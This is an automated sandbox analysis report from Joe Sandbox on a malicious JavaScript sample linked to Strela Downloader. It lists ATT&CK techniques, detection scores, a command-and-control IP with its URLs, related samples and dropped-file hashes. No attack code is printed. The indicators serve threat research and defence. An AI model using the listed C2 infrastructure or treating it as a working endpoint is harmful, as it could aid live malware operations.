Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
4036231441630930293.js	0%	ReversingLabs
4036231441630930293.js	3%	Virustotal		Browse

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/pacei	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/C	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.2723645549.000001C87BA00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2/C:	svchost.exe, 00000009.00000003.1539158590.000001C87B940000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/pacei	net.exe, 00000007.00000002.1543667499.000001C1D65A8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000007.00000002.1555211916.000001C1D65FD000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1550462408.000001C1D65D7000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1537820660.000001C1D65D7000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1535458435.000001C1D65FA000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1543667499.000001C1D65A8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/C	net.exe, 00000007.00000002.1550462408.000001C1D65D7000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1537820660.000001C1D65D7000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588146
Start date and time:	2025-01-10 21:54:35 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 11s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	4036231441630930293.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/57@3/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 172.64.41.3, 162.159.61.3, 2.23.240.205, 199.232.210.172, 184.28.90.27, 23.209.209.135, 2.16.168.107, 2.16.168.105, 20.12.23.50, 34.237.241.83, 23.203.104.175, 13.107.246.45
Excluded domains from analysis (whitelisted): chrome.cloudflare-dns.com, e4578.dscg.akamaiedge.net, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
15:55:38	API Interceptor	25x Sleep call for process: powershell.exe modified
15:55:42	API Interceptor	1x Sleep call for process: net.exe modified
15:55:42	API Interceptor	2x Sleep call for process: svchost.exe modified
15:55:50	API Interceptor	3x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	247714231173424547.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	213526738195689141.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	86328271623317904.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	984279432356016169.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1026278051441931198.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	322024057229051058.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	27321191142887719888.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2295888241314542.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	27962100941450914990.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	295963673155714664.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	247714231173424547.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	213526738195689141.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	984279432356016169.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	322024057229051058.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	7bAMuw5ono.exe	Get hash	malicious	Unknown	Browse	199.232.210.172
	27321191142887719888.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	27962100941450914990.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	42173378525889.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	24928193762733825739.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	24108325173196611859.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	247714231173424547.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	213526738195689141.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	86328271623317904.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	984279432356016169.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	61969293196726215.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1026278051441931198.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	322024057229051058.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	27321191142887719888.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2295888241314542.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	27962100941450914990.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8021976907807615
Encrypted:	false
SSDEEP:	1536:RJszRK0I9i0k0I9wXq0I9UGJC/PQJCmJCovVsnQ9Sii1GY9zOoRXTpMNYpKhvUAF:RJE+Lfki1GjHwU/+vVhWqpI
MD5:	2680B46332C2F5FA1F1CDE2BE9E9DC35
SHA1:	4201A67375B83BBBF8F87DD43F1AD74FB0DC3AED
SHA-256:	15E6E121F437C30D63A9F7AE7A26E2CA7C7B1FAF358E8F4423C59B9BA30ABBDF
SHA-512:	4C648F573B26E88FC710FCC1BF9A20064B7441FBEA5026911188F1BC2166ADD37FEDD2048724521CFD76BB00367DC9A19813F9B42BD338DF5B0B3B07BFE8C751
Malicious:	false
Preview:	..Q^........@..@.....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.....................................3~L.#.........`h.................h.......1.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x4eba6bfd, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1048576
Entropy (8bit):	0.9433287958027889
Encrypted:	false
SSDEEP:	1536:jSB2ESB2SSjlK/ZvxPXK0I9XGJCTgzZYkr3g16zV2UPkLk+kY+lKuy9ny5zPOZ15:jazaHvxXy2V2UR
MD5:	2D63767B938878E8C8CCD4CA64EAEBA0
SHA1:	F53E862D66AB77FA6CF319ACF0295D4B5D253740
SHA-256:	95EAFC16166643CE01AB353168B28D558DD77C2CD617552E0E09C89A661CEF9D
SHA-512:	F92525ED1013BD428944C23C02562C9068D5FEB20FB2F13441E6AECF38E6B6947C345E1BDF6F05ED2EE79E5BA2AB2E690975B134A46526D9BB2F16E1C574CA7A
Malicious:	false
Preview:	N.k.... ...............X\...;...{......................0.x...... ...{s.+7...}..h.z.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ............{...............................................................................................................................................................................................2...{..................................x...+7...}....................+7...}...........................#......h.z.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08147030264367672
Encrypted:	false
SSDEEP:	3:Um/llEYe5F3tql/nqlFcl1ZUllll+N0YllGBnX/l/Tj/k7/t:UWllEz5zql/qlFclQ/l8N5254
MD5:	1D83A9B0BA34FACE465CAF2D83056E30
SHA1:	3CA295FF46C8DDBAA52689813952BA4E36E259DA
SHA-256:	0FB43E977BF342486B46DD65DA19B7D0592F47C48859422B128523FF9905CD71
SHA-512:	11F17E599359160C0F9E228CF7ADCBC45349ADF5260B1084459B7B27F3BE31109DA82FCF161560B9E07634D61627CDCE0F6075961EE990A220C50DB8B86DE766
Malicious:	false
Preview:	../.....................................;...{..+7...}... ...{s.......... ...{s.. ...{s.P.... ...{s....................+7...}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.177995658980632
Encrypted:	false
SSDEEP:	6:iO4QdQ3+q2PCHhJ2nKuAl9OmbnIFUtSQpZmwsQdVkwOCHhJ2nKuAl9OmbjLJ:7dBvBHAahFUtP/n56HAaSJ
MD5:	5A25E40C2BF6166669118D441660FA5B
SHA1:	90F8C47BCD26646FD8A95D88684734FB1BE97BE4
SHA-256:	C033707039C3E7B7746D24744657140ABE9747407043DECE3A3992013CBDDB85
SHA-512:	97061EC2D8C729AC25682A76E48561A12EF2201F06EF5182676BD1C678374C3FF9A0CFD51E9186A8F117621F870AF8A9CE955210069AB9F059ACDC9FE762BC80
Malicious:	false
Preview:	2025/01/10-15:55:42.897 11e8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-15:55:42.900 11e8 Recovering log #3.2025/01/10-15:55:42.900 11e8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.177995658980632
Encrypted:	false
SSDEEP:	6:iO4QdQ3+q2PCHhJ2nKuAl9OmbnIFUtSQpZmwsQdVkwOCHhJ2nKuAl9OmbjLJ:7dBvBHAahFUtP/n56HAaSJ
MD5:	5A25E40C2BF6166669118D441660FA5B
SHA1:	90F8C47BCD26646FD8A95D88684734FB1BE97BE4
SHA-256:	C033707039C3E7B7746D24744657140ABE9747407043DECE3A3992013CBDDB85
SHA-512:	97061EC2D8C729AC25682A76E48561A12EF2201F06EF5182676BD1C678374C3FF9A0CFD51E9186A8F117621F870AF8A9CE955210069AB9F059ACDC9FE762BC80
Malicious:	false
Preview:	2025/01/10-15:55:42.897 11e8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-15:55:42.900 11e8 Recovering log #3.2025/01/10-15:55:42.900 11e8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.175851157303146
Encrypted:	false
SSDEEP:	6:iO4Qhyq2PCHhJ2nKuAl9Ombzo2jMGIFUtSQTQu1ZmwsQTQ4RkwOCHhJ2nKuAl9OU:7kvBHAa8uFUt9J1/XZ56HAa8RJ
MD5:	6CD93839416FE42DCAD4A2ABF5E6CDCE
SHA1:	50773F8E2561430146CD6DA80E2865946A8D9E92
SHA-256:	11EAC75D5A1A264113A7F5F7F31F3C06956482B4EEBBD91042122862CAC0CBE4
SHA-512:	A1161A61AC4A7E6CE2BD5DA5113CEDBC972EF04C1DDAF53F72BFC23C39EA45FE39DA51EF3F458933307AEB36437020488BFC44A171B604A102AD180692F470DD
Malicious:	false
Preview:	2025/01/10-15:55:42.984 1510 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-15:55:42.986 1510 Recovering log #3.2025/01/10-15:55:42.986 1510 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.175851157303146
Encrypted:	false
SSDEEP:	6:iO4Qhyq2PCHhJ2nKuAl9Ombzo2jMGIFUtSQTQu1ZmwsQTQ4RkwOCHhJ2nKuAl9OU:7kvBHAa8uFUt9J1/XZ56HAa8RJ
MD5:	6CD93839416FE42DCAD4A2ABF5E6CDCE
SHA1:	50773F8E2561430146CD6DA80E2865946A8D9E92
SHA-256:	11EAC75D5A1A264113A7F5F7F31F3C06956482B4EEBBD91042122862CAC0CBE4
SHA-512:	A1161A61AC4A7E6CE2BD5DA5113CEDBC972EF04C1DDAF53F72BFC23C39EA45FE39DA51EF3F458933307AEB36437020488BFC44A171B604A102AD180692F470DD
Malicious:	false
Preview:	2025/01/10-15:55:42.984 1510 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-15:55:42.986 1510 Recovering log #3.2025/01/10-15:55:42.986 1510 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\632ffacc-9e0d-4b5a-b734-920ff9340478.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.966807186517365
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqH7SsBdOg2HzZcaq3QYiub6P7E4T3y:Y2sRdsKdMH83QYhbS7nby
MD5:	A11AD5028FAF877F64A20020B2CCAFBD
SHA1:	DFDE1E17FB0926BD38A9EE65DE4D75D494575DFD
SHA-256:	9B7D273BFA1C0698BD22B3211207E7682658FA6A5C72AD2D4C81C092C86055C4
SHA-512:	1F66278F989F55B7DDB7A742663D400FFF4006A0678981F0D35E5989B2B1166B38B3DB3797F56715A1606EF74FBC66DAC1A3EB28F5591ED10D6195152893E01F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381102554924619","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":137633},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.964572325322009
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqRYSsBdOg2HEcaq3QYiub6P7E4T3y:Y2sRds9dMHX3QYhbS7nby
MD5:	D25A82831FBAAB53DA0A9FF676399C18
SHA1:	350EFB0B2B56CC8B0F650B34B59C0A705A4B2309
SHA-256:	F20CB8DC5F98FBEB8B0AB91BDABB2A1D09EF0D927241321034284592013693E3
SHA-512:	973F779D5A631FDE2CD2270522EBAF78B50D2CE3130638500641750F4099E7DDBEAA58B73E9696DE4240823AC03E768CF890CBF42932F815324ECDBE1DFE7A61
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341054937965898","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146333},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF3de8b1.TMP (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.964572325322009
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqRYSsBdOg2HEcaq3QYiub6P7E4T3y:Y2sRds9dMHX3QYhbS7nby
MD5:	D25A82831FBAAB53DA0A9FF676399C18
SHA1:	350EFB0B2B56CC8B0F650B34B59C0A705A4B2309
SHA-256:	F20CB8DC5F98FBEB8B0AB91BDABB2A1D09EF0D927241321034284592013693E3
SHA-512:	973F779D5A631FDE2CD2270522EBAF78B50D2CE3130638500641750F4099E7DDBEAA58B73E9696DE4240823AC03E768CF890CBF42932F815324ECDBE1DFE7A61
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341054937965898","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146333},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\d2663da7-f4dc-4131-b0f6-336c94bb4821.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.964572325322009
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqRYSsBdOg2HEcaq3QYiub6P7E4T3y:Y2sRds9dMHX3QYhbS7nby
MD5:	D25A82831FBAAB53DA0A9FF676399C18
SHA1:	350EFB0B2B56CC8B0F650B34B59C0A705A4B2309
SHA-256:	F20CB8DC5F98FBEB8B0AB91BDABB2A1D09EF0D927241321034284592013693E3
SHA-512:	973F779D5A631FDE2CD2270522EBAF78B50D2CE3130638500641750F4099E7DDBEAA58B73E9696DE4240823AC03E768CF890CBF42932F815324ECDBE1DFE7A61
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341054937965898","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146333},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.2363486798833545
Encrypted:	false
SSDEEP:	96:S4bz5vsZ4CzSAsfTxiVud4TxY0CIOr3MCWO3VxBaw+bwJY5:S43C4mS7fFi0KFYDjr3LWO3V3aw+bwJQ
MD5:	CAA9C869FDFD567903148AD4F1BC7657
SHA1:	E8FDF21382C6C84A89D67ED1BBAAD72424616B82
SHA-256:	1DBE4B658FF46CBEE3701433A3292A60FE9BB188CD30E1334E6CEA041383DA48
SHA-512:	71ADD47DE0D1EBB472C21126B6091CD4CA3DA6CE40F8DBD25506484F18AE2B0122EBB3A58C868EB6E211D74EBEA106F63F15A923239ECD0C7F4032F2368C037E
Malicious:	false
Preview:	*...#................version.1..namespace-8..\|o................next-map-id.1.Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/.0...dr................next-map-id.2.Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.1....r................next-map-id.3.Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.2.$..o................next-map-id.4.Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/.3+...^...............Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/....^...............Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/T.3.a...............Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.U..a...............Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.$..o................next-map-id.5.Pnamespace-c66013b9_73b6_4b3f_b279_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.1621135697792475
Encrypted:	false
SSDEEP:	6:iO4K9yq2PCHhJ2nKuAl9OmbzNMxIFUtSNz1Zmwsr4RkwOCHhJ2nKuAl9OmbzNMFd:74vBHAa8jFUtGz1/p56HAa84J
MD5:	37BEBDD0B1406119239A8FABD6A2A101
SHA1:	8D945DDE42F438E3EED92EA5875855953AD3F546
SHA-256:	1AAD93AC20F9A705DB2346A77AB8ECE2B7044D39AEEAFDEC35347ACFC84AAA9B
SHA-512:	3328862077FEF0E03037553991B8CEF48191AA13D3C5BD62CF398258D78EE988B05265AFBDA97CC752D2F9D97A83978AA2C552050E94792B0063857D2C542FE5
Malicious:	false
Preview:	2025/01/10-15:55:43.097 1510 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-15:55:43.098 1510 Recovering log #3.2025/01/10-15:55:43.099 1510 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.1621135697792475
Encrypted:	false
SSDEEP:	6:iO4K9yq2PCHhJ2nKuAl9OmbzNMxIFUtSNz1Zmwsr4RkwOCHhJ2nKuAl9OmbzNMFd:74vBHAa8jFUtGz1/p56HAa84J
MD5:	37BEBDD0B1406119239A8FABD6A2A101
SHA1:	8D945DDE42F438E3EED92EA5875855953AD3F546
SHA-256:	1AAD93AC20F9A705DB2346A77AB8ECE2B7044D39AEEAFDEC35347ACFC84AAA9B
SHA-512:	3328862077FEF0E03037553991B8CEF48191AA13D3C5BD62CF398258D78EE988B05265AFBDA97CC752D2F9D97A83978AA2C552050E94792B0063857D2C542FE5
Malicious:	false
Preview:	2025/01/10-15:55:43.097 1510 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-15:55:43.098 1510 Recovering log #3.2025/01/10-15:55:43.099 1510 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
